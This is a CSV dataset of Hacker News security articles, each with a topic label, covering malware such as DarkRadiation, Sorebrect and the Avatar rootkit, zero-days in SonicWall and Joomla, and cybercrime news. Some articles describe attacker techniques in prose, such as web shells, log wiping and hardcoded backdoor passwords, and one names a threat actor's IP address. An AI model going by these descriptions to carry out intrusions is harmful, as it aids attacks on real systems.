Title,Link,Article,Label
"FBI offering $100,000 reward for information on Most Wanted Cyber Criminals",https://thehackernews.com/2013/11/fbi-offering-100000-reward-for.html,"The US Federal Bureau of Investigation has added five new hackers to its Cyber most wanted list and is seeking information from the public regarding their whereabouts.

The men are wanted in connection with hacking and fraud crimes both within the US as well as internationally. Rewards ranging from up to $50,000 to $100,000 are being offered for information that leads to their arrest.
Two of them are Pakistani, Farnhan Arshad and Noor Aziz Uddin, who caused the damage of over $50 million after hacking business telephone systems between 2008 and 2012. Arshad and Uddin are part of an international criminal ring that the FBI believes extends into Pakistan, the Philippines, Saudi Arabia, Switzerland, Spain, Singapore, Italy, Malaysia, and other locations.

Syrian national Andrey Nabilevich Taame, wanted for his alleged role in Operation Ghost Click, a malware scheme that compromised more than four million computers in more than 100 countries between 2007 and October 2011; there were at least 500,000 victims in the United States alone.

Alexsey Belan, a Russian national, is wanted for alleged hacking of three US-based companies between 2012 and 2013.

Carlos Perez-Melara is wanted for his alleged involvement in manufacturing software that was used to intercept the private communications of hundreds of victims around September 2003. As part of the scheme, Perez-Melara ran a website offering customers a way to ""catch a cheating lover"" by sending ""spyware"" disguised as an electronic greeting card.

The rewards are being offered for each of the five fugitives, all of whom are believed to be living outside the U.S.

""The expansion of the Cyber's Most Wanted list is a reflection of the FBI's increased efforts in this area,"" FBI officials said in a statement.

",Malware
Critical infrastructure managing software vulnerable to Unauthorized access,https://thehackernews.com/2012/10/critical-infrastructure-managing.html,"Reid Wightman from security firm ioActive reported that there is an undocumented backdoor available in CoDeSys software that actually used to manage equipment in power plants, military environments, and nautical ships.

The bug allow malicious hackers to access sensitive systems without authorization, Ars said. The CoDeSys tool will grant a command shell to anyone who knows the proper command syntax and inner workings, leaving systems that are connected to the public Internet open to malicious tampering and There is absolutely no authentication needed to perform this privileged command, Reid mention.
This software has been used in industrial control systems sold by 261 different manufacturers. 3S-Smart Software Solutions designs CoDeSys and recently issued an advisory that recommends users set a password, but he is able to develop two exploit shells , one is codesys-shell.py (to get the CoDeSys command shell without authentication) and other , codesys-transfer.py (read or write files to the PLC without authentication) which works fine without authentication.

This is another big security vulnerabilities that threaten power plants and other critical infrastructure both in the United States and elsewhere in the world. Wightman said a simple search using the Shodan, showed 117 devices directly connected to the Internet.

Wightman said that additional vulnerability details about issue and exploit code that automates the hack can be added to Metasploit framework.

",Vulnerability
3 Zero-Day Exploits Hit SonicWall Enterprise Email Security Appliances,https://thehackernews.com/2021/04/3-zero-day-exploits-hit-sonicwall.html,"SonicWall has addressed three critical security vulnerabilities in its hosted and on-premises email security (ES) product that are being actively exploited in the wild.
Tracked as CVE-2021-20021 and CVE-2021-20022, the flaws were discovered and reported to the company by FireEye's Mandiant subsidiary on March 26, 2021, after the cybersecurity firm detected post-exploitation web shell activity on an internet-accessible system within a customer's environment that had SonicWall's ES application running on a Windows Server 2012 installation. A third flaw (CVE-2021-20023) identified by FireEye was disclosed to SonicWall on April 6, 2021.
FireEye is tracking the malicious activity under the moniker UNC2682.
""These vulnerabilities were executed in conjunction to obtain administrative access and code execution on a SonicWall ES device,"" researchers Josh Fleischer, Chris DiGiamo, and Alex Pennino said.
The adversary leveraged these vulnerabilities, with intimate knowledge of the SonicWall application, to install a backdoor, access files, and emails, and move laterally into the victim organization's network.""
A brief summary of the three flaws are below -
CVE-2021-20021 (CVSS score: 9.4) - Allows an attacker to create an administrative account by sending a crafted HTTP request to the remote host
CVE-2021-20022 (CVSS score: 6.7) - Allows a post-authenticated attacker to upload an arbitrary file to the remote host, and
CVE-2021-20023 (CVSS score: 6.7) - A directory traversal flaw that allows a post-authenticated attacker to read an arbitrary file on the remote host.
The administrative access not only enabled the attacker to exploit CVE-2021-20023 to read configuration files, counting those containing information about existing accounts as well as Active Directory credentials but also abuse CVE-2021-20022 to upload a ZIP archive containing a JSP-based web shell called BEHINDER that's capable of accepting encrypted command-and-control (C2) communications.
""With the addition of a web shell to the server, the adversary had unrestricted access to the command prompt, with the inherited permissions of the NT AUTHORITY\SYSTEM account,"" FireEye said, adding the attacker then used ""living off the land"" (LotL) techniques to harvest credentials, move laterally across the network, and even ""compress a subdirectory [that] contains daily archives of emails processed by SonicWall ES.""
In the incident observed by the firm, the threat actor is said to have escalated their attack by conducting an internal reconnaissance activity, albeit briefly, prior to being isolated and removed from the environment, thus foiling their mission. The true motive behind the intrusion remains unclear.
SonicWall users are recommended to upgrade to 10.0.9.6173 Hotfix for Windows and 10.0.9.6177 Hotfix for hardware and ESXi virtual appliances. The SonicWall Hosted Email Security product was automatically patched on April 19 and hence no additional action is required.
UPDATE
The Milpitas-headquartered network security firm labeled the findings as an outcome of routine collaboration with third-party researchers and forensic analysis firms to ensure its products adhere to the security best practices.
""Through the course of this process, SonicWall was made aware of and verified certain zero-day vulnerabilities — in at least one known case, being exploited in the wild — to its hosted and on-premises email security products,"" the company said in a statement to The Hacker News. ""SonicWall designed, tested and published patches to correct the issues and communicated these mitigations to customers and partners.""

",Cyber_Attack
How to Decrypt TeslaCrypt Ransomware Files Using Master Key,https://thehackernews.com/2016/05/decrypt-teslacrypt-ransomware.html,"Here's some good news for victims who are trying to unlock and remove TeslaCrypt ransomware.

Now, you can decrypt all your important files that have been encrypted by TeslaCrypt ransomware.

So, stop Googling about How to decrypt TeslaCrypt Ransomware encrypted files, as the malware authors themselves provided the solution to your problem.

Since its launch in March last year, TeslaCrypt computer virus has been used in massive malvertising attacks. The ransomware, which often targets PC gamers, locks up files until a ransom is paid, usually $500 in Bitcoin. Infection generally comes through corrupted websites, malvertising or phishing emails.

In a surprising move in the malware's story, the cybercriminals behind the nefarious TeslaCrypt ransomware have apparently shut down their operations and released a master key to the public that can unlock all encrypted files on PCs infected by the latest versions of TeslaCrypt.

The icing on the cake is that the universal decryption key is free, so victims can decrypt their files without paying a single penny.

Here's what one of the developers of TeslaCrypt posted on the TeslaCrypt Dark Website:
""Project closed! Master key for decrypt: 440A241DD80FCC5664E861989DB716E08CE627D8D40C7EA360AE855C727A49EE. Wait for other people make universal decrypt software. We are sorry!""
The above note was prompted by a query from an ESET security researcher, who had noticed the successive downfall of TeslaCrypt and asked the authors for a decryption key.

The authors offered a free master key in an entirely surprising move and ESET quickly created a Free Ransomware Decryptor tool for TeslaCrypt, which is available for download from the ESET website.

How to Use Master Ransomware Decryption Key
Using the master key, security researcher has created a decryptor tool that is available for download, with detailed instructions, from the ESET website.

Bleeping Computer has also released another TeslaCrypt ransomware decryptor tool, dubbed TeslaDecoder, with a much easy-to-use interface.

",Malware
"Mysterious Avatar rootkit with API, SDK, and Yahoo Groups for C&C communication",https://thehackernews.com/2013/05/mysterious-avatar-rootkit-with-api-sdk.html,"Early 2012 ESET company a mysterious malware, dubbed the Avatar rootkit (Win32/Rootkit.Avatar), advertised in the underground forums by Russian cyber crime.

""We present you here previously announced product. In connection with work on other projects, we moved the release date for the public from May to February 2013th 2012go.Now nuclear rootkit AVATAR is available for rental.""
Despite the malware was described months ago it was not found and published until now, in March ESET researchers detected two droppers with different C&C servers and having different compilation time stamps as showed in the following pictures:
The Avatar rootkit appears very sophisticated, it uses two different infection techniques, the first in the dropper so as to bypass detections by HIPS, and the second one in the rootkit driver to allow the malware to be alive after system reboot, the instance detected works only on x86 systems.

The 2 level dropper for Avatar rootkit works in conjunction, the first one implements LZMA decompression for the second level dropper. Driver module and second level dropper are unique in every instance of malware thanks to a random names generator names for mutexes/events in the first level dropper.

To the second level dropper is assigned the function of escalate privilege on target system, the dropper uses two different techniques, the exploitation of the MS11-080 vulnerability with code as a public exploit from Metasploit Framework with minor changes, and COM Elevation (UAC whitelist).

The following a diagram that shows the process implemented by dropper:

Most interesting part of the exploit code of Avatar rootkit is the steps taken after exploitation, kernel-mode shellcode is in fact executed to load malicious driver, the rootkit driver is not stored on the hard drive and loads only from a memory region.

The Avatar rootkit implements a technique for loading the driver by system driver infection that appeared very effective for bypassing victim's defense, and allows the loads other kernel-mode modules exploiting the malicious system driver.

The post reports:
""In order to perform its infection, Avatar randomly chooses a driver and checks its name against a blacklist that varies for every Windows versions."" ""The Avatar rootkit driver is able to infect several system drivers without changing the original driver's file size.""

Once loaded the Avatar rootkit driver, the malicious code executes an algorithm for infecting system drivers so as to survive after reboot, the malware is also able to detect the presence of a virtual machine environment thanks to a sophisticated technique that query BIOS to check for some specific strings related to principal machines available on the market such as VirtualBox and VMware.

The malware uses a hidden file system to store the user-mode payload module and also additional files, all the data are encrypted using a custom symmetric cipher. The hidden file storage is also used by Avatar rootkit to store additional user-mode and kernel-mode modules that malware can download and execute. Avatar rootkit doesn't store malicious modules in any standard NTFS storage, except for infected system drivers.

The principal functionality of the malware are:
command center communications
parsing configuration information
read/write into hidden file storage
communicating with the rootkit driver
installing additional user-mode and kernel-mode modules
The post highlight the flexibility of the malicious agent:
""Of course, this means the initial infection can be the starting point of a variety of malicious activities based on the modules that deployed. In our case the payload component avcmd.dll was injected into svchost.exe system process which started communicating with C&C IP addresses stored in the configuration file. ""

Another interesting feature implemented by authors of the rootkit in the protection of communications with the command center with a custom encryption algorithm which output is base64-encoded, Avatar rootkit has an additional way of communicating with the C&C server searching for messages in Yahoo groups using special parameters. The technique is not new and is very efficient to protect the malware over sinkhole attempts of security firms, because information about C&C's domains is encrypted using an RSA asymmetric algorithm.

On the use of Yahoo Groups as C&C the report states:
""The group description is encrypted with an RSA algorithm and a 1024-bit private key. It is possible to decrypt this data with the public key stored in the configuration file. We suppose this information is to be found in the encrypted message used for returning control for a botnet without an active C&C.""

But Avatar rootkit appears a very complex and articulated project, it is accompanied by a list of API for developing additional components based on the Avatar Runtime Library, a special SDK for developing additional user-mode components which allow communication with the Avatar rootkit driver.

Win32/Rootkit.Avatar is considerable a sophisticated rootkit family having many interesting features to avoid detection by security software, due this reason security experts believe that the agent has been developed for long term infection by the system executing the attack.

Avatar rootkit may hold many surprises in the next future.

",Vulnerability
New Virus Decides If Your Computer Good for Mining or Ransomware,https://thehackernews.com/2018/07/cryptocurrency-mining-ransomware.html,"Security researchers have discovered an interesting piece of malware that infects systems with either a cryptocurrency miner or ransomware, depending upon their configurations to decide which of the two schemes could be more profitable.

While ransomware is a type of malware that locks your computer and prevents you from accessing the encrypted data until you pay a ransom to get the decryption key required to decrypt your files, cryptocurrency miners utilize infected system's CPU power to mine digital currencies.

Both ransomware and cryptocurrency mining-based attacks have been the top threats so far this year and share many similarities such as both are non-sophisticated attacks, carried out for money against non-targeted users, and involve digital currency.

However, since locking a computer for ransom doesn't always guarantee a payback in case victims have nothing essential to losing, in past months cybercriminals have shifted more towards fraudulent cryptocurrency mining as a method of extracting money using victims' computers.

Researchers at Russian security firm Kaspersky Labs have discovered a new variant of Rakhni ransomware family, which has now been upgraded to include cryptocurrency mining capability as well.
Written in Delphi programming language, the Rakhni malware is being spread using spear-phishing emails with an MS word file in the attachment, which if opened, prompts the victim to save the document and enable editing.

The document includes a PDF icon, which if clicked, launches a malicious executable on the victim's computer and immediately displays a fake error message box upon execution, tricking victims into thinking that a system file required to open the document is missing.

How Malware Decides What To Do

However, in the background, the malware then performs many anti-VM and anti-sandbox checks to decide if it could infect the system without being caught. If all conditions are met, the malware then performs more checks to decide the final infection payload, i.e., ransomware or miner.

1.) Installs Ransomware—if the target system has a 'Bitcoin' folder in the AppData section.

Before encrypting files with the RSA-1024 encryption algorithm, the malware terminates all processes that match a predefined list of popular applications and then displays a ransom note via a text file.

2.) Installs cryptocurrency miner—if 'Bitcoin' folder doesn't exist and the machine has more than two logical processors.

If the system gets infected with a cryptocurrency miner, it uses MinerGate utility to mine Monero (XMR), Monero Original (XMO) and Dashcoin (DSH) cryptocurrencies in the background.
Besides this, the malware uses CertMgr.exe utility to install fake root certificates that claim to have been issued by Microsoft Corporation and Adobe Systems Incorporated in an attempt to disguise the miner as a trusted process.

3.) Activates worm component—if there's no 'Bitcoin' folder and just one logical processor.

This component helps the malware to copy itself to all the computers located in the local network using shared resources.

""For each computer listed in the file the Trojan checks if the folder Users is shared and, if so, the malware copies itself to the folder \AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup of each accessible user,"" the researchers note.

Regardless of which infection is chosen, the malware performs a check if one of the listed antivirus processes is launched. If no AV process is found in the system, the malware will run several cmd commands in an attempt to disable Windows Defender.

What's more? There's A Spyware Feature As Well
""Another interesting fact is that the malware also has some spyware functionality – its messages include a list of running processes and an attachment with a screenshot,"" the researchers say.
This malware variant is targeting users primarily in Russia (95.5%), while a small number of infection has been noticed in Kazakhstan (1.36%), Ukraine (0.57%), Germany (0.49%), and India (0.41%) as well.

The best way to prevent yourself from being a victim of such attacks in the first place is never to open suspicious files and links provided in an email. Also, always keep a good backup routine and updated anti-virus software in place.
",Malware
Wormable DarkRadiation Ransomware Targets Linux and Docker Instances,https://thehackernews.com/2021/06/wormable-darkradiation-ransomware.html,"Cybersecurity researchers are sounding the alarm bell over a new ransomware strain called ""DarkRadiation"" that's implemented entirely in Bash and targets Linux and Docker cloud containers, while banking on messaging service Telegram for command-and-control (C2) communications.
""The ransomware is written in Bash script and targets Red Hat/CentOS and Debian Linux distributions,"" researchers from Trend Micro said in a report published last week. ""The malware uses OpenSSL's AES algorithm with CBC mode to encrypt files in various directories. It also uses Telegram's API to send an infection status to the threat actor(s).""
As of writing, there's no information available on the delivery methods or evidence that the ransomware has been deployed in real-world attacks.
The findings come from an analysis of a collection of hacking tools hosted on the unidentified threat actor's infrastructure (IP address ""185.141.25.168"") in a directory called ""api_attack."" The toolset was first noticed by Twitter user @r3dbU7z on May 28.
DarkRadiation's infection chain involves a multi-stage attack process and is noteworthy for its extensive reliance on Bash scripts to retrieve the malware and encrypt the files as well as Telegram API to communicate with the C2 server via hardcoded API keys.
Encryption Process
Said to be under active development, the ransomware leverages obfuscation tactics to scramble the Bash script using an open-source tool called ""node-bash-obfuscate"" to split the code into multiple chunks, followed by assigning a variable name to each segment and replacing the original script with variable references.
Upon execution, DarkRadiation checks if it's run as the root user, and if so, uses the elevated permissions to download and install Wget, cURL, and OpenSSL libraries, and takes a periodic snapshot of the users that are currently logged into a Unix computer system using the ""who"" command every five seconds, the results of which are then exfiltrated to an attacker-controlled server using the Telegram API.
""If any of these [libraries] are not available on the infected device, the malware attempts to download the required tools using YUM (Yellowdog Updater, Modified), a python-based package manager widely adopted by popular Linux distros such as RedHat and CentOS,"" SentinelOne researchers explained in a parallel write-up of DarkRadiation published Monday.
The ransomware, in its final phase of the infection, retrieves a list of all available users on the compromised system, overwrites existing user passwords with ""megapassword,"" and deletes all shell users, but not before creating a new user with the username ""ferrum"" and password ""MegPw0rD3"" to proceed with the encryption process.
Worm-like Spreading Functionality
Interestingly, SentinelOne's analysis reveals different variations wherein the password for the user ""ferrum"" is downloaded from the attacker's C2 server in few versions, while in others, it is hardcoded with strings such as ""$MeGaPass123#,"" implying that the malware is undergoing rapid changes prior to actual deployment.
""It must be noted that the ransomware appends radioactive symbols ('.☢') as a file extension for an encrypted file,"" Trend Micro threat researcher Aliakbar Zahravi said.
A second moving part associated with the attack is an SSH worm that's engineered to receive a credential configuration in the form of a base64-encoded parameter. Subsequently, this encoded argument is used to connect to the target system using the SSH protocol, and eventually download and execute the ransomware.
In addition to reporting the execution status, along with the encryption key, back to the adversary's Telegram channel through the API, DarkRadiation also comes with capabilities to stop and disable all running Docker containers on the infected machine, after which a ransom note is displayed to the user.
""Malware written in shell script languages allows attackers to be more versatile and to avoid some common detection methods,"" SentinelOne researchers said.
""As scripts do not need to be recompiled, they can be iterated upon more rapidly. Moreover, since some security software relies on static file signatures, these can easily be evaded through rapid iteration and the use of simple obfuscator tools to generate completely different script files.""

",Malware
New Fileless Ransomware with Code Injection Ability Detected in the Wild,https://thehackernews.com/2017/06/fileless-ransomware-code-injection.html,"It is no secret that hackers and cybercriminals are becoming dramatically more adept, innovative, and stealthy with each passing day.

While new forms of cybercrime are on the rise, traditional activities seem to be shifting towards more clandestine techniques that come with limitless attack vectors with low detection rates.

Security researchers have recently discovered a new fileless ransomware, dubbed ""Sorebrect,"" which injects malicious code into a legitimate system process (svchost.exe) on a targeted system and then self-destruct itself in order to evade detection.

Unlike traditional ransomware, Sorebrect has been designed to target enterprise's servers and endpoint. The injected code then initiates the file encryption process on the local machine and connected network shares.

This fileless ransomware first compromises administrator credentials by brute forcing or some other means and then uses Microsoft's Sysinternals PsExec command-line utility to encrypt files.
""PsExec can enable attackers to run remotely executed commands, instead of providing and using an entire interactive login session, or manually transferring the malware into a remote machine, like in RDPs,"" Trend Micro says.

Sorebrect Also Encrypts Network Shares

Sorebrect also scans the local network for other connected computers with open shares and locks files available on them as well.
""If the share has been set up such that anyone connected to it has read-and-write access to it, the share will also be encrypted,"" researchers say.
The nasty ransomware then deletes all event logs (using wevtutil.exe) and shadow copies (using vssadmin) on the infected machine that could provide forensic evidence such as files executed on the system and their timestamps, which makes this threat hard-to-detect.

In addition, Sorebrect uses the Tor network protocol in an attempt to anonymize its communication with its command-and-control (C&C) server, just like almost every other malware.

Sorebrect Ransomware Spreads Worldwide

The Sorebrect fileless ransomware has been designed to target systems from various industries including manufacturing, technology, and telecommunications.

According to Trend Micro, Sorebrect was initially targeting Middle Eastern countries like Kuwait and Lebanon, but from last month, this threat has started infecting people in Canada, China, Croatia, Italy, Japan, Mexico, Russia, Taiwan, and the U.S.
""Given ransomware's potential impact and profitability, it wouldn't be a surprise if SOREBRECT turns up in other parts of the world, or even in the cybercriminal underground where it can be peddled as a service,"" the researchers note.
This is not the first time when researchers have come across Fileless malware. Two months ago, Talos researchers discovered a DNSMessenger attack that was completely Fileless and used DNS TXT messaging capabilities to compromise systems.

In February, Kaspersky researchers also discovered fileless malware that resided solely in the memory of the compromised computers, which was found targeting banks, telecommunication companies, and government organizations in 40 countries.

Ways to Protect Against Ransomware Attacks

Since the ransomware does not target individuals but organizations, sysadmins and information security professionals can protect themselves by:
Restricting user write permissions: a significant factor that exposes network shares to ransomware by giving users full permissions.
Limiting privilege for PsExec: Limit PsExec and provide permission to run them only to system administrators.
Keeping your system and network up-to-date: Always keep your operating system, software, and other applications updated.
Backing up your data regularly: To always have a tight grip on all your important files and documents, keep a good backup routine in place that makes their copies to an external storage device that is not always connected to your PC.
Adopting a cyber security-aware workforce: Educating your employees about malware, threat vectors and security measure always plays a major role in any organization.

",Malware
Joomla 3.4.5 patches Critical SQL Injection Vulnerability,https://thehackernews.com/2015/10/joomla-security.html,"Joomla – one of the most popular open source Content Management System (CMS) software packages, has reportedly patched three critical vulnerabilities in its software.

The flaws, exist in the Joomla version 3.2 to 3.4.4, include SQL injection vulnerabilities that could allow hackers to take admin privileges on most customer websites.

The patch was an upgrade to Joomla version 3.4.5 and only contained security fixes.

The vulnerability, discovered by Trustwave SpiderLabs researcher Asaf Orpani and Netanel Rubin of PerimeterX, could be exploited to attack a website with SQL injections.

SQL injection (SQLi) is an injection attack wherein a bad actor can inject/insert malicious SQL commands/query (malicious payloads) through the input data from the client to the application.

The vulnerability is one of the oldest, most powerful and most dangerous flaw that could affect any website or web application that uses an SQL-based database.

The recent SQLi in Joomla discovered by Orpani are:
CVE-2015-7297
CVE-2015-7857
CVE-2015-7858
CVE-2015-7857 enables an unauthorized remote attacker to gain administrator privileges by hijacking the admin session. Once exploited, the attacker may gain full control of the website and execute additional attacks.

The vulnerability discovered in a core module that doesn't require any extensions, therefore, all the websites that use Joomla versions 3.2 (released in November 2013) and above are vulnerable.

Researchers also discovered the related vulnerabilities, CVE-2015-7858 and CVE-2015-7297, as part of their research.

Actually the Joomla code resided in /administrator /components /com_contenthistory/ models/history.php was vulnerable to SQL injection.

Orpani came across many weak links in this code, that could:
Exploit the vulnerability to gain the administrator session key
On executing the request on Joomla site returns the admin session key
Using the admin key to hijack the session and further gaining:
Access to the /administrator/ folder
Administrator privileges
Access to the administrator Control Panel

Vulnerability in DRUPAL

The popular CMS Drupal has also patched an Open Redirect vulnerability in the Overlay module in its Core project (7.x versions prior to 7.41).

The Overlay module in Drupal core project displays administrative pages as a layer on the current page, rather than replacing the page in the browser window.

However, the module doesn't sufficiently validate URLs prior to displaying their contents, which leads to an open redirect vulnerability, according to Drupal's official blog.

The vulnerability affected the site users with administrative rights; i.e. if only the ""Access the administrative overlay"" permission is enabled the vulnerability could be exploited.

The fix for the open redirect vulnerability was released and required the sites to upgrade to Drupal version 7.41.

If you were not aware of these vulnerabilities, do not panic you can patch your CMS now!

",Vulnerability
World War C report - Motives behind State Sponsored Cyber Attacks,https://thehackernews.com/2013/10/world-war-c-report-motives-behind-state_3.html,"Nation-state driven cyber attacks are routinely conducted on a global scale to defend national sovereignty and project national power. We are living in the cyber era, human conflict is involving also the fifth domain of warfare, the cyberspace. As never before disputes take place with blows of bits, militias of every government are developing cyber capabilities dedicating great effort for the establishment of cyber units.

Network security company, FireEye, has released a report titled ""World War C: Understanding Nation-State Motives Behind Today's Advanced Cyber Attacks"" which describes the effort spent by governments in cyber warfare context, the document analyzes in detail the different approaches adopted by various countries in conducting nation-state driven cyber attacks.

Security experts highlight the intensification of state-sponsored attacks for both cyber espionage and sabotage purpose, campaigns such as Moonlight Maze and Titan Rain or the destructive cyber strikes on Iran and Georgia have signed the evolution of the military doctrine.
""Cyberspace has become a full-blown war zone as governments across the globe clash for digital supremacy in a new, mostly invisible theater of operations. Once limited to opportunistic criminals, cyber attacks are becoming a key weapon for governments seeking to defend national sovereignty and project national power.""

In the arsenal of government militias are entering strongly DDoS tools, spyware and computer viruses, nation-state driven cyber attacks are considerable an optimal option by governments for the following reasons:
Reduced costs compared to conventional strikes.
Efficiency
The asymmetric nature of the cyber attacks makes difficult the defense.
The anonymous nature of the offense allows the attacking government to circumvent the approval by the world community to a military offensive.
Possibility to conduct cyber attacks in peacetime for immediate geopolitical ends, as well as to prepare for possible future kinetic attacks.
As explained in the study the attribution of responsibility for a cyber attack is a very hard task, FireEye experts correctly highlighted that to uncover the perpetrators is necessary to apply a multi layered approach based on forensic ""reverse-hacking"" techniques, build a deep knowledge of ""patterns"" of attack, evaluate the geopolitical context of cyber attacks aims associated to specific government.

""A cyber attack, viewed outside of its geopolitical context, allows very little legal maneuvering room for the defending state,"" ""False flag operations and the very nature of the internet makes tactical attribution a losing game. However, strategic attribution – fusing all sources of intelligence on a potential threat – allows a much higher level of confidence and more options for the decision maker,"" ""And strategic attribution begins and ends with geopolitical analysis."" said Professor Thomas Wingfield of the Marshall Centre, a joint US-German defense studies institute.

""The biggest challenge to deterring, defending against, or retaliating for cyber attacks is the problem of correctly identifying the perpetrator,"" said Prof. John Arquilla, Naval Postgraduate School ""Attribution"" for a nation-state driven cyber attack is difficult due to similarity with the methods adopted by single individuals, organizations, or state-sponsored hackers. States are often mistakenly identified as non-state entities, and vice versa.

Another dangerous phenomenon that we are assisting is the growth of number of cyber mercenary groups close to governments that are structured as cyber criminal gangs but that are able to offer hacking services to involve in nation-state driven cyber attacks.

""Cybercrime organizations offer anyone, including governments, cyber attack services to include denial-of-service attacks and access to previously compromised networks."" states the World War C report.

FireEye experts analyzed the Nation-state driven cyber attacks identifying the tactics and characteristics for the offensive in various regions:
Asia-Pacific: home to large, bureaucratic hacker groups, such as the ""Comment Crew"" who pursues targets in high-frequency, brute-force attacks.
Russia/Eastern Europe: More technically advanced cyber attacks that are often highly effective in evading detection.
Middle East: Cybercriminals in the region often using creativity, deception, and social engineering to trick users into compromising their own computers.
United States: origin of the most complex, targeted, and rigorously engineered cyber attack campaigns to date, such as the Stuxnet worm. Attackers favor a drone-like approach to malware delivery.
New players are entering the arena of cyber warfare strongly, countries such a North Korea, Iran and Syria have demonstrated to represent a serious menace also for the most industrialized superpower, this is the democracy of the new military doctrine. Examining most advanced countries in cyber warfare, China is considered responsible for the largest number of Nation-state driven cyber attacks, it uses high-volume noisly cyber attacks mainly for cyber espionage.

On the other end U.S., and Israel, providing the most advanced technologies, are able to conduct more sophisticated and surgical cyber operations, Stuxnet and Duqu are just a couple of examples of products of joint effort spent by the two governments. The Russian Government is considered one of the entities with major cyber capabilities, like Israel and US it is able to perform sophisticated nation-state driven cyber attacks, but little is known about the internal organization of its cyber units. According to rumors, a group of hackers that report directly to the President is the core of Russian cyber command that has operated in a stately way in cyberspace against hostile governments and on the domestic front against opponents of the regime.

""Though relatively quiet, Russia appears to be home to many of the most complex and advanced cyber attacks FireEye researchers have seen. More specifically, Russian exploit code can be significantly stealthier than its Chinese counterpart—which can also make it more worrisome. The ""Red October"" campaign, including its satellite software dubbed ""Sputnik,"" is a prominent example of likely Russian malware."" states the report.

FireEye's World War C ends proposing a list of factors that could influence the cyber security landscape in the medium term:
Outage of national critical infrastructure - we have still not assisted to cyber attacks that have compromised a national infrastructures like a power grid, but that day may not be far.
Cyber arms treaty - we are already assisting with the cyber army race for the above reasons, governments will continue to invest to increase their cyber capabilities. Following the table reporting the investment in cyber capabilities I presented to the Cyber Threat Summit 2012, let's consider that that the expense has grown despite the cuts in most cases.
PRISM, freedom of speech, and privacy - Disclosure of PRISM and other US surveillance activities will further complicate the delicate scenarios. The debate on topics such as freedom of speech and privacy could bring some ""annoyance"" to the intelligence activities conducted by the various governments, and nothing else in my judgment. No mistake, privacy and technology are like two separated spouses that live in the same house.
New actors on the cyber stage - cyberspace is a crowded place, Iran, Syria, North Korea, and even non state actors such as Anonymous have employed cyber attacks as a way to conduct diplomacy and wage war by other means. FireEye researchers wager of growing cyber capabilities of Poland, Brazil and Taiwan.
Stronger focus on evasion - due to the evolution of cyber defense attackers may be improve the offense with sophisticated techniques to avoid detection and fly under the radar.
Information warfare is ongoing ...

",Cyber_Attack
Hacker Caused Panic in Dallas by Turning ON Every Emergency Siren at Once,https://thehackernews.com/2017/04/dallas-tornado-siren-hack.html,"We have seen hackers flooding 911 emergency service with rogue requests to knock the service offline for an entire state, but some hacking incidents are worse than others.

One such incident took place in Dallas on Friday night when hacker triggered a network of 156 emergency warning sirens for about two hours, waking up residents and sparking fears of a disaster.

The emergency warning sirens — designed to warn citizens of the Texas about dangerous weather conditions, such as severe storms and tornados — were activated around 11:40 p.m. Friday and lasted until 1:20 a.m. Saturday.

The city officials tried to inform residents not to call 911 as there was not any emergency situation in the city, but the 911 system was nevertheless flooded with over 4,400 calls from panicked residents.

Rocky Vaz, director of Dallas Office of Emergency Management (OEM), told the Dallas Morning News that the alarms blasted about 15 times for 90-second durations. You can even watch video footage of the incident posted by some people on the social media.
Ever wonder what the end of the world feels like? #dallas #sirens pic.twitter.com/dvokKWkZ6N
— ManicPixieDreamGay (@deadlyblonde) April 8, 2017
The OEM technicians were eventually able to shut down the warning system and are working to keep this from happening again by implementing ""more safeguards.""

The city officials said the sirens were set off by a hacker who compromised the Dallas city's emergency alert system, but they did not disclose how the system was compromised or who may be responsible for the attack.
""We can state at this time that the City's siren system was hacked Friday night,"" the Dallas Public Information Office confirmed on Saturday. ""For security reasons, we cannot discuss the details of how this was done, but we do believe that the hack came from the Dallas area.""
The officials have notified the Federal Communications Commission (FCC) for assistance in identifying the exact source of the hack.

This is the second time when some hacker has attacked critical infrastructure in the city. Last year, some unknown hacker hacked into some traffic signals in Dallas and used them to publish jokes.

Dallas Mayor Mike Rawlings noted on his Facebook page that the incident is yet ""another serious example of the need for us to upgrade and better safeguard our city's technology infrastructure,"" adding that they're working on identifying and prosecuting those responsible for the attack.

",Cyber_Attack
DPScan : Drupal Security Scanner Released,https://thehackernews.com/2012/02/dpscan-drupal-security-scanner-released.html,"DPScan : Drupal Security Scanner Released

The First Security scanner for Drupal CMS has been released by Ali Elouafiq, on his Blog. His team develop a tool that will enumerate at least the modules used by Drupal so we can simulate a White Box audit on our private machines.

This small tool is public and accessible to you for use however you please. It may help other auditors or penetration testers do their job faster, Here is a little demonstration. After downloading the script (in python), you simply type:

> python DPScan.py [website url]

You can download Drupal Security Scanner here.

",Vulnerability
New Mac malware opens secure connection for a remote hacker,https://thehackernews.com/2013/02/new-mac-malware-opens-secure-connection.html,"A new malware threat for the Mac has been discovered that attempting to set up a secure connection for a remote hacker to connect through and grab private information.

Dubbed ""Pintsized"" that uses a modified version of OpenSSH to potentially set up a remote connection into Mac accounts.


This backdoor Trojan can be used to conduct distributed denial of service (DDoS) attacks, or it can be used to install additional Trojans or other forms of malicious software.

Since the connection between the hacker and the machine is encrypted, it becomes very hard for the Trojan to be detected or traced. The threat has the potential to become serious, as it uses an exploit in OS X to bypass Gatekeeper and establish a reverse shell that creates a secure connection.

Trojan stays hidden by disguising itself as a file that is used for networked printers in Mac OS X. The location of the malware has been traced to this particular directory. This tactic conceals the Trojan and makes a monitor think that a printer is seeking access to the network.

Pintsized hasn't been seen in the wild yet, according to security software maker Intego, since the malware looks to still be in a proof of concept stage.

",Malware
FBI is Investigating Theft of $1.3 Million in Bitcoin from a Massachusetts Man,https://thehackernews.com/2016/10/bitcoin-hacked.html,"Over two months ago, the world's third largest Bitcoin Exchange Bitfinex lost around $72 Million worth of Bitcoins in a major hack.

Shortly after the company encountered a $72,000,000 Bitcoin theft, an unnamed Bitfinex user from Cambridge, Massachusetts, filed a police report in September, alleging that $1.3 Million of funds were stolen from his account.

Since then the Cambridge police have handed the case over to the FBI, which is working with the Bitcoin exchange as well as European authorities to recover funds stolen from the Bitfinex user, Coindesk reports.

The individual claimed that he held $3.4 Million in Bitcoin in his personal wallet hosted by the Bitfinex Bitcoin exchange. But following the August's Bitfinex breach, he was left with $2.1 Million in his account.

Bitfinex then notified the individual of his initial loss of approximately $1.3 Million in Bitcoin, but after the company issued IOU tokens as an emergency measure to keep the exchange operating, the loss incurred was reduced to just $720,000.

The IOUs or BFX tokens are a form of compensation provided to the victims to reduce their losses by a significant factor.

Although specific details remain still unclear, the Bitfinex user confirmed lose of funds beyond Bitfinex IOU tokens issued to all the victims of the breach.

